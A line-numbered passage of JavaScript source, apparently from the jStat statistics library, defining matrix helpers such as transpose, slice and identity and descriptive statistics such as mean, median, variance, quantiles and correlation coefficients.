128 | obj[j] = arguments[i][j]; 129 | } 130 | 131 | return obj; 132 | }; 133 | 134 | 135 | // Returns the number of rows in the matrix. 136 | jStat.rows = function rows(arr) { 137 | return arr.length || 1; 138 | }; 139 | 140 | 141 | // Returns the number of columns in the matrix. 142 | jStat.cols = function cols(arr) { 143 | return arr[0].length || 1; 144 | }; 145 | 146 | 147 | // Returns the dimensions of the object { rows: i, cols: j } 148 | jStat.dimensions = function dimensions(arr) { 149 | return { 150 | rows: jStat.rows(arr), 151 | cols: jStat.cols(arr) 152 | }; 153 | }; 154 | 155 | 156 | // Returns a specified row as a vector or return a sub matrix by pick some rows 157 | jStat.row = function row(arr, index) { 158 | if (isArray(index)) { 159 | return index.map(function(i) { 160 | return jStat.row(arr, i); 161 | }) 162 | } 163 | return arr[index]; 164 | }; 165 | 166 | 167 | // return row as array 168 | // rowa([[1,2],[3,4]],0) -> [1,2] 169 | jStat.rowa = function rowa(arr, i) { 170 | return jStat.row(arr, i); 171 | }; 172 | 173 | 174 | // Returns the specified column as a vector or return a sub matrix by pick some 175 | // columns 176 | jStat.col = function col(arr, index) { 177 | if (isArray(index)) { 178 | var submat = jStat.arange(arr.length).map(function(i) { 179 | return new Array(index.length); 180 | }); 181 | index.forEach(function(ind, i){ 182 | jStat.arange(arr.length).forEach(function(j) { 183 | submat[j][i] = arr[j][ind]; 184 | }); 185 | }); 186 | return submat; 187 | } 188 | var column = new Array(arr.length); 189 | for (var i = 0; i < arr.length; i++) 190 | column[i] = [arr[i][index]]; 191 | return column; 192 | }; 193 | 194 | 195 | // return column as array 196 | // cola([[1,2],[3,4]],0) -> [1,3] 197 | jStat.cola = function cola(arr, i) { 198 | return jStat.col(arr, i).map(function(a){ return a[0] }); 199 | }; 200 | 201 | 202 | // Returns the diagonal of the matrix 203 | jStat.diag = function diag(arr) { 204 | var nrow = jStat.rows(arr); 205 | var res = new Array(nrow); 206 | for (var row = 0; row < nrow; row++) 207 | res[row] = [arr[row][row]]; 208 | return res; 209 | }; 210 | 211 | 212 | // Returns the anti-diagonal of the matrix 213 | jStat.antidiag = function antidiag(arr) { 214 | var nrow = jStat.rows(arr) - 1; 215 | var res = new Array(nrow); 216 | for (var i = 0; nrow >= 0; nrow--, i++) 217 | res[i] = [arr[i][nrow]]; 218 | return res; 219 | }; 220 | 221 | // Transpose a matrix or array. 222 | jStat.transpose = function transpose(arr) { 223 | var obj = []; 224 | var objArr, rows, cols, j, i; 225 | 226 | // Make sure arr is in matrix format. 227 | if (!isArray(arr[0])) 228 | arr = [arr]; 229 | 230 | rows = arr.length; 231 | cols = arr[0].length; 232 | 233 | for (var i = 0; i < cols; i++) { 234 | objArr = new Array(rows); 235 | for (j = 0; j < rows; j++) 236 | objArr[j] = arr[j][i]; 237 | obj.push(objArr); 238 | } 239 | 240 | // If obj is vector, return only single array. 241 | return obj.length === 1 ? obj[0] : obj; 242 | }; 243 | 244 | 245 | // Map a function to an array or array of arrays. 246 | // "toAlter" is an internal variable. 247 | jStat.map = function map(arr, func, toAlter) { 248 | var row, nrow, ncol, res, col; 249 | 250 | if (!isArray(arr[0])) 251 | arr = [arr]; 252 | 253 | nrow = arr.length; 254 | ncol = arr[0].length; 255 | res = toAlter ? arr : new Array(nrow); 256 | 257 | for (row = 0; row < nrow; row++) { 258 | // if the row doesn't exist, create it 259 | if (!res[row]) 260 | res[row] = new Array(ncol); 261 | for (col = 0; col < ncol; col++) 262 | res[row][col] = func(arr[row][col], row, col); 263 | } 264 | 265 | return res.length === 1 ? res[0] : res; 266 | }; 267 | 268 | 269 | // Cumulatively combine the elements of an array or array of arrays using a function. 270 | jStat.cumreduce = function cumreduce(arr, func, toAlter) { 271 | var row, nrow, ncol, res, col; 272 | 273 | if (!isArray(arr[0])) 274 | arr = [arr]; 275 | 276 | nrow = arr.length; 277 | ncol = arr[0].length; 278 | res = toAlter ? arr : new Array(nrow); 279 | 280 | for (row = 0; row < nrow; row++) { 281 | // if the row doesn't exist, create it 282 | if (!res[row]) 283 | res[row] = new Array(ncol); 284 | if (ncol > 0) 285 | res[row][0] = arr[row][0]; 286 | for (col = 1; col < ncol; col++) 287 | res[row][col] = func(res[row][col-1], arr[row][col]); 288 | } 289 | return res.length === 1 ? res[0] : res; 290 | }; 291 | 292 | 293 | // Destructively alter an array. 294 | jStat.alter = function alter(arr, func) { 295 | return jStat.map(arr, func, true); 296 | }; 297 | 298 | 299 | // Generate a rows x cols matrix according to the supplied function. 300 | jStat.create = function create(rows, cols, func) { 301 | var res = new Array(rows); 302 | var i, j; 303 | 304 | if (isFunction(cols)) { 305 | func = cols; 306 | cols = rows; 307 | } 308 | 309 | for (var i = 0; i < rows; i++) { 310 | res[i] = new Array(cols); 311 | for (j = 0; j < cols; j++) 312 | res[i][j] = func(i, j); 313 | } 314 | 315 | return res; 316 | }; 317 | 318 | 319 | function retZero() { return 0; } 320 | 321 | 322 | // Generate a rows x cols matrix of zeros. 323 | jStat.zeros = function zeros(rows, cols) { 324 | if (!isNumber(cols)) 325 | cols = rows; 326 | return jStat.create(rows, cols, retZero); 327 | }; 328 | 329 | 330 | function retOne() { return 1; } 331 | 332 | 333 | // Generate a rows x cols matrix of ones. 334 | jStat.ones = function ones(rows, cols) { 335 | if (!isNumber(cols)) 336 | cols = rows; 337 | return jStat.create(rows, cols, retOne); 338 | }; 339 | 340 | 341 | // Generate a rows x cols matrix of uniformly random numbers. 342 | jStat.rand = function rand(rows, cols) { 343 | if (!isNumber(cols)) 344 | cols = rows; 345 | return jStat.create(rows, cols, Math.random); 346 | }; 347 | 348 | 349 | function retIdent(i, j) { return i === j ? 1 : 0; } 350 | 351 | 352 | // Generate an identity matrix of size row x cols. 353 | jStat.identity = function identity(rows, cols) { 354 | if (!isNumber(cols)) 355 | cols = rows; 356 | return jStat.create(rows, cols, retIdent); 357 | }; 358 | 359 | 360 | // Tests whether a matrix is symmetric 361 | jStat.symmetric = function symmetric(arr) { 362 | var issymmetric = true; 363 | var size = arr.length; 364 | var row, col; 365 | 366 | if (arr.length !== arr[0].length) 367 | return false; 368 | 369 | for (row = 0; row < size; row++) { 370 | for (col = 0; col < size; col++) 371 | if (arr[col][row] !== arr[row][col]) 372 | return false; 373 | } 374 | 375 | return true; 376 | }; 377 | 378 | 379 | // Set all values to zero. 380 | jStat.clear = function clear(arr) { 381 | return jStat.alter(arr, retZero); 382 | }; 383 | 384 | 385 | // Generate sequence. 386 | jStat.seq = function seq(min, max, length, func) { 387 | if (!isFunction(func)) 388 | func = false; 389 | 390 | var arr = []; 391 | var hival = calcRdx(min, max); 392 | var step = (max * hival - min * hival) / ((length - 1) * hival); 393 | var current = min; 394 | var cnt; 395 | 396 | // Current is assigned using a technique to compensate for IEEE error. 397 | // TODO: Needs better implementation. 398 | for (cnt = 0; 399 | current <= max && cnt < length; 400 | cnt++, current = (min * hival + step * hival * cnt) / hival) { 401 | arr.push((func ? func(current, cnt) : current)); 402 | } 403 | 404 | return arr; 405 | }; 406 | 407 | 408 | // arange(5) -> [0,1,2,3,4] 409 | // arange(1,5) -> [1,2,3,4] 410 | // arange(5,1,-1) -> [5,4,3,2] 411 | jStat.arange = function arange(start, end, step) { 412 | var rl = []; 413 | step = step || 1; 414 | if (end === undefined) { 415 | end = start; 416 | start = 0; 417 | } 418 | if (start === end || step === 0) { 419 | return []; 420 | } 421 | if (start < end && step < 0) { 422 | return []; 423 | } 424 | if (start > end && step > 0) { 425 | return []; 426 | } 427 | if (step > 0) { 428 | for (i = start; i < end; i += step) { 429 | rl.push(i); 430 | } 431 | } else { 432 | for (i = start; i > end; i += step) { 433 | rl.push(i); 434 | } 435 | } 436 | return rl; 437 | }; 438 | 439 | 440 | // A=[[1,2,3],[4,5,6],[7,8,9]] 441 | // slice(A,{row:{end:2},col:{start:1}}) -> [[2,3],[5,6]] 442 | // slice(A,1,{start:1}) -> [5,6] 443 | // as numpy code A[:2,1:] 444 | jStat.slice = (function(){ 445 | function _slice(list, start, end, step) { 446 | // note it's not equal to range.map mode it's a bug 447 | var i; 448 | var rl = []; 449 | var length = list.length; 450 | if (start === undefined && end === undefined && step === undefined) { 451 | return jStat.copy(list); 452 | } 453 | 454 | start = start || 0; 455 | end = end || list.length; 456 | start = start >= 0 ? start : length + start; 457 | end = end >= 0 ? end : length + end; 458 | step = step || 1; 459 | if (start === end || step === 0) { 460 | return []; 461 | } 462 | if (start < end && step < 0) { 463 | return []; 464 | } 465 | if (start > end && step > 0) { 466 | return []; 467 | } 468 | if (step > 0) { 469 | for (i = start; i < end; i += step) { 470 | rl.push(list[i]); 471 | } 472 | } else { 473 | for (i = start; i > end;i += step) { 474 | rl.push(list[i]); 475 | } 476 | } 477 | return rl; 478 | } 479 | 480 | function slice(list, rcSlice) { 481 | rcSlice = rcSlice || {}; 482 | if (isNumber(rcSlice.row)) { 483 | if (isNumber(rcSlice.col)) 484 | return list[rcSlice.row][rcSlice.col]; 485 | var row = jStat.rowa(list, rcSlice.row); 486 | var colSlice = rcSlice.col || {}; 487 | return _slice(row, colSlice.start, colSlice.end, colSlice.step); 488 | } 489 | 490 | if (isNumber(rcSlice.col)) { 491 | var col = jStat.cola(list, rcSlice.col); 492 | var rowSlice = rcSlice.row || {}; 493 | return _slice(col, rowSlice.start, rowSlice.end, rowSlice.step); 494 | } 495 | 496 | var rowSlice = rcSlice.row || {}; 497 | var colSlice = rcSlice.col || {}; 498 | var rows = _slice(list, rowSlice.start, rowSlice.end, rowSlice.step); 499 | return rows.map(function(row) { 500 | return _slice(row, colSlice.start, colSlice.end, colSlice.step); 501 | }); 502 | } 503 | 504 | return slice; 505 | }()); 506 | 507 | 508 | // A=[[1,2,3],[4,5,6],[7,8,9]] 509 | // sliceAssign(A,{row:{start:1},col:{start:1}},[[0,0],[0,0]]) 510 | // A=[[1,2,3],[4,0,0],[7,0,0]] 511 | jStat.sliceAssign = function sliceAssign(A, rcSlice, B) { 512 | if (isNumber(rcSlice.row)) { 513 | if (isNumber(rcSlice.col)) 514 | return A[rcSlice.row][rcSlice.col] = B; 515 | rcSlice.col = rcSlice.col || {}; 516 | rcSlice.col.start = rcSlice.col.start || 0; 517 | rcSlice.col.end = rcSlice.col.end || A[0].length; 518 | rcSlice.col.step = rcSlice.col.step || 1; 519 | var nl = jStat.arange(rcSlice.col.start, 520 | Math.min(A.length, rcSlice.col.end), 521 | rcSlice.col.step); 522 | var m = rcSlice.row; 523 | nl.forEach(function(n, i) { 524 | A[m][n] = B[i]; 525 | }); 526 | return A; 527 | } 528 | 529 | if (isNumber(rcSlice.col)) { 530 | rcSlice.row = rcSlice.row || {}; 531 | rcSlice.row.start = rcSlice.row.start || 0; 532 | rcSlice.row.end = rcSlice.row.end || A.length; 533 | rcSlice.row.step = rcSlice.row.step || 1; 534 | var ml = jStat.arange(rcSlice.row.start, 535 | Math.min(A[0].length, rcSlice.row.end), 536 | rcSlice.row.step); 537 | var n = rcSlice.col; 538 | ml.forEach(function(m, j) { 539 | A[m][n] = B[j]; 540 | }); 541 | return A; 542 | } 543 | 544 | if (B[0].length === undefined) { 545 | B = [B]; 546 | } 547 | rcSlice.row.start = rcSlice.row.start || 0; 548 | rcSlice.row.end = rcSlice.row.end || A.length; 549 | rcSlice.row.step = rcSlice.row.step || 1; 550 | rcSlice.col.start = rcSlice.col.start || 0; 551 | rcSlice.col.end = rcSlice.col.end || A[0].length; 552 | rcSlice.col.step = rcSlice.col.step || 1; 553 | var ml = jStat.arange(rcSlice.row.start, 554 | Math.min(A.length, rcSlice.row.end), 555 | rcSlice.row.step); 556 | var nl = jStat.arange(rcSlice.col.start, 557 | Math.min(A[0].length, rcSlice.col.end), 558 | rcSlice.col.step); 559 | ml.forEach(function(m, i) { 560 | nl.forEach(function(n, j) { 561 | A[m][n] = B[i][j]; 562 | }); 563 | }); 564 | return A; 565 | }; 566 | 567 | 568 | // [1,2,3] -> 569 | // [[1,0,0],[0,2,0],[0,0,3]] 570 | jStat.diagonal = function diagonal(diagArray) { 571 | var mat = jStat.zeros(diagArray.length, diagArray.length); 572 | diagArray.forEach(function(t, i) { 573 | mat[i][i] = t; 574 | }); 575 | return mat; 576 | }; 577 | 578 | 579 | // return copy of A 580 | jStat.copy = function copy(A) { 581 | return A.map(function(row) { 582 | if (isNumber(row)) 583 | return row; 584 | return row.map(function(t) { 585 | return t; 586 | }); 587 | }); 588 | }; 589 | 590 | 591 | // TODO: Go over this entire implementation. Seems a tragic waste of resources 592 | // doing all this work. Instead, and while ugly, use new Function() to generate 593 | // a custom function for each static method. 594 | 595 | // Quick reference. 596 | var jProto = jStat.prototype; 597 | 598 | // Default length. 599 | jProto.length = 0; 600 | 601 | // For internal use only. 602 | // TODO: Check if they're actually used, and if they are then rename them 603 | // to _* 604 | jProto.push = Array.prototype.push; 605 | jProto.sort = Array.prototype.sort; 606 | jProto.splice = Array.prototype.splice; 607 | jProto.slice = Array.prototype.slice; 608 | 609 | 610 | // Return a clean array. 611 | jProto.toArray = function toArray() { 612 | return this.length > 1 ? slice.call(this) : slice.call(this)[0]; 613 | }; 614 | 615 | 616 | // Map a function to a matrix or vector. 617 | jProto.map = function map(func, toAlter) { 618 | return jStat(jStat.map(this, func, toAlter)); 619 | }; 620 | 621 | 622 | // Cumulatively combine the elements of a matrix or vector using a function. 623 | jProto.cumreduce = function cumreduce(func, toAlter) { 624 | return jStat(jStat.cumreduce(this, func, toAlter)); 625 | }; 626 | 627 | 628 | // Destructively alter an array. 629 | jProto.alter = function alter(func) { 630 | jStat.alter(this, func); 631 | return this; 632 | }; 633 | 634 | 635 | // Extend prototype with methods that have no argument. 636 | (function(funcs) { 637 | for (var i = 0; i < funcs.length; i++) (function(passfunc) { 638 | jProto[passfunc] = function(func) { 639 | var self = this, 640 | results; 641 | // Check for callback. 642 | if (func) { 643 | setTimeout(function() { 644 | func.call(self, jProto[passfunc].call(self)); 645 | }); 646 | return this; 647 | } 648 | results = jStat[passfunc](this); 649 | return isArray(results) ? jStat(results) : results; 650 | }; 651 | })(funcs[i]); 652 | })('transpose clear symmetric rows cols dimensions diag antidiag'.split(' ')); 653 | 654 | 655 | // Extend prototype with methods that have one argument. 656 | (function(funcs) { 657 | for (var i = 0; i < funcs.length; i++) (function(passfunc) { 658 | jProto[passfunc] = function(index, func) { 659 | var self = this; 660 | // check for callback 661 | if (func) { 662 | setTimeout(function() { 663 | func.call(self, jProto[passfunc].call(self, index)); 664 | }); 665 | return this; 666 | } 667 | return jStat(jStat[passfunc](this, index)); 668 | }; 669 | })(funcs[i]); 670 | })('row col'.split(' ')); 671 | 672 | /* 673 | // Extend prototype with simple shortcut methods. 674 | (function(funcs) { 675 | for (var i = 0; i < funcs.length; i++) (function(passfunc) { 676 | jProto[passfunc] = new Function( 677 | 'return jStat(jStat.' + passfunc + '.apply(null, arguments));'); 678 | })(funcs[i]); 679 | })('create zeros ones rand identity'.split(' ')); 680 | */ 681 | 682 | // Exposing jStat. 683 | return jStat; 684 | 685 | }(Math)); 686 | (function(jStat, Math) { 687 | 688 | var isFunction = jStat.utils.isFunction; 689 | 690 | // Ascending functions for sort 691 | function ascNum(a, b) { return a - b; } 692 | 693 | function clip(arg, min, max) { 694 | return Math.max(min, Math.min(arg, max)); 695 | } 696 | 697 | 698 | // sum of an array 699 | jStat.sum = function sum(arr) { 700 | var sum = 0; 701 | var i = arr.length; 702 | while (--i >= 0) 703 | sum += arr[i]; 704 | return sum; 705 | }; 706 | 707 | 708 | // sum squared 709 | jStat.sumsqrd = function sumsqrd(arr) { 710 | var sum = 0; 711 | var i = arr.length; 712 | while (--i >= 0) 713 | sum += arr[i] * arr[i]; 714 | return sum; 715 | }; 716 | 717 | 718 | // sum of squared errors of prediction (SSE) 719 | jStat.sumsqerr = function sumsqerr(arr) { 720 | var mean = jStat.mean(arr); 721 | var sum = 0; 722 | var i = arr.length; 723 | var tmp; 724 | while (--i >= 0) { 725 | tmp = arr[i] - mean; 726 | sum += tmp * tmp; 727 | } 728 | return sum; 729 | }; 730 | 731 | // sum of an array in each row 732 | jStat.sumrow = function sumrow(arr) { 733 | var sum = 0; 734 | var i = arr.length; 735 | while (--i >= 0) 736 | sum += arr[i]; 737 | return sum; 738 | }; 739 | 740 | // product of an array 741 | jStat.product = function product(arr) { 742 | var prod = 1; 743 | var i = arr.length; 744 | while (--i >= 0) 745 | prod *= arr[i]; 746 | return prod; 747 | }; 748 | 749 | 750 | // minimum value of an array 751 | jStat.min = function min(arr) { 752 | var low = arr[0]; 753 | var i = 0; 754 | while (++i < arr.length) 755 | if (arr[i] < low) 756 | low = arr[i]; 757 | return low; 758 | }; 759 | 760 | 761 | // maximum value of an array 762 | jStat.max = function max(arr) { 763 | var high = arr[0]; 764 | var i = 0; 765 | while (++i < arr.length) 766 | if (arr[i] > high) 767 | high = arr[i]; 768 | return high; 769 | }; 770 | 771 | 772 | // unique values of an array 773 | jStat.unique = function unique(arr) { 774 | var hash = {}, _arr = []; 775 | for(var i = 0; i < arr.length; i++) { 776 | if (!hash[arr[i]]) { 777 | hash[arr[i]] = true; 778 | _arr.push(arr[i]); 779 | } 780 | } 781 | return _arr; 782 | }; 783 | 784 | 785 | // mean value of an array 786 | jStat.mean = function mean(arr) { 787 | return jStat.sum(arr) / arr.length; 788 | }; 789 | 790 | 791 | // mean squared error (MSE) 792 | jStat.meansqerr = function meansqerr(arr) { 793 | return jStat.sumsqerr(arr) / arr.length; 794 | }; 795 | 796 | 797 | // geometric mean of an array 798 | jStat.geomean = function geomean(arr) { 799 | return Math.pow(jStat.product(arr), 1 / arr.length); 800 | }; 801 | 802 | 803 | // median of an array 804 | jStat.median = function median(arr) { 805 | var arrlen = arr.length; 806 | var _arr = arr.slice().sort(ascNum); 807 | // check if array is even or odd, then return the appropriate 808 | return !(arrlen & 1) 809 | ? (_arr[(arrlen / 2) - 1 ] + _arr[(arrlen / 2)]) / 2 810 | : _arr[(arrlen / 2) | 0 ]; 811 | }; 812 | 813 | 814 | // cumulative sum of an array 815 | jStat.cumsum = function cumsum(arr) { 816 | return jStat.cumreduce(arr, function (a, b) { return a + b; }); 817 | }; 818 | 819 | 820 | // cumulative product of an array 821 | jStat.cumprod = function cumprod(arr) { 822 | return jStat.cumreduce(arr, function (a, b) { return a * b; }); 823 | }; 824 | 825 | 826 | // successive differences of a sequence 827 | jStat.diff = function diff(arr) { 828 | var diffs = []; 829 | var arrLen = arr.length; 830 | var i; 831 | for (var i = 1; i < arrLen; i++) 832 | diffs.push(arr[i] - arr[i - 1]); 833 | return diffs; 834 | }; 835 | 836 | 837 | // ranks of an array 838 | jStat.rank = function (arr) { 839 | var arrlen = arr.length; 840 | var sorted = arr.slice().sort(ascNum); 841 | var ranks = new Array(arrlen); 842 | for (var i = 0; i < arrlen; i++) { 843 | var first = sorted.indexOf(arr[i]); 844 | var last = sorted.lastIndexOf(arr[i]); 845 | if (first === last) { 846 | var val = first; 847 | } else { 848 | var val = (first + last) / 2; 849 | } 850 | ranks[i] = val + 1; 851 | } 852 | return ranks; 853 | }; 854 | 855 | 856 | // mode of an array 857 | // if there are multiple modes of an array, return all of them 858 | // is this the appropriate way of handling it? 859 | jStat.mode = function mode(arr) { 860 | var arrLen = arr.length; 861 | var _arr = arr.slice().sort(ascNum); 862 | var count = 1; 863 | var maxCount = 0; 864 | var numMaxCount = 0; 865 | var mode_arr = []; 866 | var i; 867 | 868 | for (var i = 0; i < arrLen; i++) { 869 | if (_arr[i] === _arr[i + 1]) { 870 | count++; 871 | } else { 872 | if (count > maxCount) { 873 | mode_arr = [_arr[i]]; 874 | maxCount = count; 875 | numMaxCount = 0; 876 | } 877 | // are there multiple max counts 878 | else if (count === maxCount) { 879 | mode_arr.push(_arr[i]); 880 | numMaxCount++; 881 | } 882 | // resetting count for new value in array 883 | count = 1; 884 | } 885 | } 886 | 887 | return numMaxCount === 0 ? mode_arr[0] : mode_arr; 888 | }; 889 | 890 | 891 | // range of an array 892 | jStat.range = function range(arr) { 893 | return jStat.max(arr) - jStat.min(arr); 894 | }; 895 | 896 | // variance of an array 897 | // flag = true indicates sample instead of population 898 | jStat.variance = function variance(arr, flag) { 899 | return jStat.sumsqerr(arr) / (arr.length - (flag ? 1 : 0)); 900 | }; 901 | 902 | // pooled variance of an array of arrays 903 | jStat.pooledvariance = function pooledvariance(arr) { 904 | var sumsqerr = arr.reduce(function (a, samples) {return a + jStat.sumsqerr(samples);}, 0); 905 | var count = arr.reduce(function (a, samples) {return a + samples.length;}, 0); 906 | return sumsqerr / (count - arr.length); 907 | }; 908 | 909 | // deviation of an array 910 | jStat.deviation = function (arr) { 911 | var mean = jStat.mean(arr); 912 | var arrlen = arr.length; 913 | var dev = new Array(arrlen); 914 | for (var i = 0; i < arrlen; i++) { 915 | dev[i] = arr[i] - mean; 916 | } 917 | return dev; 918 | }; 919 | 920 | // standard deviation of an array 921 | // flag = true indicates sample instead of population 922 | jStat.stdev = function stdev(arr, flag) { 923 | return Math.sqrt(jStat.variance(arr, flag)); 924 | }; 925 | 926 | // pooled standard deviation of an array of arrays 927 | jStat.pooledstdev = function pooledstdev(arr) { 928 | return Math.sqrt(jStat.pooledvariance(arr)); 929 | }; 930 | 931 | // mean deviation (mean absolute deviation) of an array 932 | jStat.meandev = function meandev(arr) { 933 | var mean = jStat.mean(arr); 934 | var a = []; 935 | for (var i = arr.length - 1; i >= 0; i--) { 936 | a.push(Math.abs(arr[i] - mean)); 937 | } 938 | return jStat.mean(a); 939 | }; 940 | 941 | 942 | // median deviation (median absolute deviation) of an array 943 | jStat.meddev = function meddev(arr) { 944 | var median = jStat.median(arr); 945 | var a = []; 946 | for (var i = arr.length - 1; i >= 0; i--) { 947 | a.push(Math.abs(arr[i] - median)); 948 | } 949 | return jStat.median(a); 950 | }; 951 | 952 | 953 | // coefficient of variation 954 | jStat.coeffvar = function coeffvar(arr) { 955 | return jStat.stdev(arr) / jStat.mean(arr); 956 | }; 957 | 958 | 959 | // quartiles of an array 960 | jStat.quartiles = function quartiles(arr) { 961 | var arrlen = arr.length; 962 | var _arr = arr.slice().sort(ascNum); 963 | return [ 964 | _arr[ Math.round((arrlen) / 4) - 1 ], 965 | _arr[ Math.round((arrlen) / 2) - 1 ], 966 | _arr[ Math.round((arrlen) * 3 / 4) - 1 ] 967 | ]; 968 | }; 969 | 970 | 971 | // Arbitary quantiles of an array. Direct port of the scipy.stats 972 | // implementation by Pierre GF Gerard-Marchant. 973 | jStat.quantiles = function quantiles(arr, quantilesArray, alphap, betap) { 974 | var sortedArray = arr.slice().sort(ascNum); 975 | var quantileVals = [quantilesArray.length]; 976 | var n = arr.length; 977 | var i, p, m, aleph, k, gamma; 978 | 979 | if (typeof alphap === 'undefined') 980 | alphap = 3 / 8; 981 | if (typeof betap === 'undefined') 982 | betap = 3 / 8; 983 | 984 | for (var i = 0; i < quantilesArray.length; i++) { 985 | p = quantilesArray[i]; 986 | m = alphap + p * (1 - alphap - betap); 987 | aleph = n * p + m; 988 | k = Math.floor(clip(aleph, 1, n - 1)); 989 | gamma = clip(aleph - k, 0, 1); 990 | quantileVals[i] = (1 - gamma) * sortedArray[k - 1] + gamma * sortedArray[k]; 991 | } 992 | 993 | return quantileVals; 994 | }; 995 | 996 | // Returns the k-th percentile of values in a range, where k is in the 997 | // range 0..1, exclusive. 998 | jStat.percentile = function percentile(arr, k) { 999 | var _arr = arr.slice().sort(ascNum); 1000 | var realIndex = k * (_arr.length - 1); 1001 | var index = parseInt(realIndex); 1002 | var frac = realIndex - index; 1003 | 1004 | if (index + 1 < _arr.length) { 1005 | return _arr[index] * (1 - frac) + _arr[index + 1] * frac; 1006 | } else { 1007 | return _arr[index]; 1008 | } 1009 | } 1010 | 1011 | 1012 | // The percentile rank of score in a given array. Returns the percentage 1013 | // of all values in the input array that are less than (kind='strict') or 1014 | // less or equal than (kind='weak') score. Default is weak. 1015 | jStat.percentileOfScore = function percentileOfScore(arr, score, kind) { 1016 | var counter = 0; 1017 | var len = arr.length; 1018 | var strict = false; 1019 | var value, i; 1020 | 1021 | if (kind === 'strict') 1022 | strict = true; 1023 | 1024 | for (var i = 0; i < len; i++) { 1025 | value = arr[i]; 1026 | if ((strict && value < score) || 1027 | (!strict && value <= score)) { 1028 | counter++; 1029 | } 1030 | } 1031 | 1032 | return counter / len; 1033 | }; 1034 | 1035 | 1036 | // Histogram (bin count) data 1037 | jStat.histogram = function histogram(arr, bins) { 1038 | var first = jStat.min(arr); 1039 | var binCnt = bins || 4; 1040 | var binWidth = (jStat.max(arr) - first) / binCnt; 1041 | var len = arr.length; 1042 | var bins = []; 1043 | var i; 1044 | 1045 | for (var i = 0; i < binCnt; i++) 1046 | bins[i] = 0; 1047 | for (var i = 0; i < len; i++) 1048 | bins[Math.min(Math.floor(((arr[i] - first) / binWidth)), binCnt - 1)] += 1; 1049 | 1050 | return bins; 1051 | }; 1052 | 1053 | 1054 | // covariance of two arrays 1055 | jStat.covariance = function covariance(arr1, arr2) { 1056 | var u = jStat.mean(arr1); 1057 | var v = jStat.mean(arr2); 1058 | var arr1Len = arr1.length; 1059 | var sq_dev = new Array(arr1Len); 1060 | var i; 1061 | 1062 | for (var i = 0; i < arr1Len; i++) 1063 | sq_dev[i] = (arr1[i] - u) * (arr2[i] - v); 1064 | 1065 | return jStat.sum(sq_dev) / (arr1Len - 1); 1066 | }; 1067 | 1068 | 1069 | // (pearson's) population correlation coefficient, rho 1070 | jStat.corrcoeff = function corrcoeff(arr1, arr2) { 1071 | return jStat.covariance(arr1, arr2) / 1072 | jStat.stdev(arr1, 1) / 1073 | jStat.stdev(arr2, 1); 1074 | }; 1075 | 1076 | // (spearman's) rank correlation coefficient, sp 1077 | jStat.spearmancoeff = function (arr1, arr2) { 1078 | arr1 = jStat.rank(arr1); 1079 | arr2 = jStat.rank(arr2); 1080 | //return pearson's correlation of the ranks: 1081 | return jStat.corrcoeff(arr1, arr2); 1082 | } 1083 | 1084 | 1085 | // statistical standardized moments (general form of skew/kurt) 1086 | jStat.stanMoment = function stanMoment(arr, n) { 1087 | var mu = jStat.mean(arr); 1088 | var sigma = jStat.stdev(arr); 1089 | var len = arr.length; 1090 | var skewSum = 0; 1091 | 1092 | for (var i = 0; i < len; i++) 1093 | skewSum += Math.pow((arr[i] - mu) / sigma, n); 1094 | 1095 | return skewSum / arr.length; 1096 | }; 1097 | 1098 | // (pearson's) moment coefficient of skewness 1099 | jStat.skewness = function skewness(arr) { 1100 | return jStat.stanMoment(arr, 3); 1101 | }; 1102 | 1103 | // (pearson's) (excess) kurtosis 1104 | jStat.kurtosis = function kurtosis(arr) { 1105 | return jStat.stanMoment(arr, 4) - 3; 1106 | }; 1107 | 1108 | 1109 | var jProto = jStat.prototype; 1110 | 1111 | 1112 | // Extend jProto with method for calculating cumulative sums and products. 1113 | // This differs from the similar extension below as cumsum and cumprod should 1114 | // not be run again in the case fullbool === true. 1115 | // If a matrix is passed, automatically assume operation should be done on the 1116 | // columns. 1117 | (function(funcs) { 1118 | for (var i = 0; i < funcs.length; i++) (function(passfunc) { 1119 | // If a matrix is passed, automatically assume operation should be done on 1120 | // the columns. 1121 | jProto[passfunc] = function(fullbool, func) { 1122 | var arr = []; 1123 | var i = 0; 1124 | var tmpthis = this; 1125 | // Assignment reassignation depending on how parameters were passed in. 1126 | if (isFunction(fullbool)) { 1127 | func = fullbool; 1128 | fullbool = false; 1129 | } 1130 | // Check if a callback was passed with the function. 1131 | if (func) { 1132 | setTimeout(function() { 1133 | func.call(tmpthis, jProto[passfunc].call(tmpthis, fullbool)); 1134 | }); 1135 | return this; 1136 | } 1137 | // Check if matrix and run calculations. 1138 | if (this.length > 1) { 1139 | tmpthis = fullbool === true ? this : this.transpose(); 1140 | for (; i < tmpthis.length; i++) 1141 | arr[i] = jStat[passfunc](tmpthis[i]); 1142 | return arr; 1143 | } 1144 | // Pass fullbool if only vector, not a matrix. for variance and stdev. 1145 | return jStat[passfunc](this[0], fullbool); 1146 | }; 1147 | })(funcs[i]); 1148 | })(('cumsum cumprod').split(' ')); 1149 | 1150 | 1151 | // Extend jProto with methods which don't require arguments and work on columns. 1152 | (function(funcs) { 1153 | for (var i = 0; i < funcs.length; i++) (function(passfunc) { 1154 | // If a matrix is passed, automatically assume operation should be done on 1155 | // the columns. 1156 | jProto[passfunc] = function(fullbool, func) { 1157 | var arr = []; 1158 | var i = 0; 1159 | var tmpthis = this; 1160 | // Assignment reassignation depending on how parameters were passed in. 1161 | if (isFunction(fullbool)) { 1162 | func = fullbool; 1163 | fullbool = false; 1164 | } 1165 | // Check if a callback was passed with the function. 1166 | if (func) { 1167 | setTimeout(function() { 1168 | func.call(tmpthis, jProto[passfunc].call(tmpthis, fullbool)); 1169 | }); 1170 | return this; 1171 | } 1172 | // Check if matrix and run calculations. 1173 | if (this.length > 1) { 1174 | if (passfunc !== 'sumrow') 1175 | tmpthis = fullbool === true ? this : this.transpose(); 1176 | for (; i < tmpthis.length; i++) 1177 | arr[i] = jStat[passfunc](tmpthis[i]); 1178 | return fullbool === true 1179 | ? jStat[passfunc](jStat.utils.toVector(arr)) 1180 | : arr; 1181 | } 1182 | // Pass fullbool if only vector, not a matrix. for variance and stdev. 1183 | return jStat[passfunc](this[0], fullbool); 1184 | }; 1185 | })(funcs[i]); 1186 | })(('sum sumsqrd sumsqerr sumrow product min max unique mean meansqerr ' + 1187 | 'geomean median diff rank mode range variance deviation stdev meandev ' + 1188 | 'meddev coeffvar quartiles histogram skewness kurtosis').split(' ')); 1189 | 1190 | 1191 | // Extend jProto with functions that take arguments. Operations on matrices are 1192 | // done on columns. 1193 | (function(funcs) { 1194 | for (var i = 0; i < funcs.length; i++) (function(passfunc) { 1195 | jProto[passfunc] = function() { 1196 | 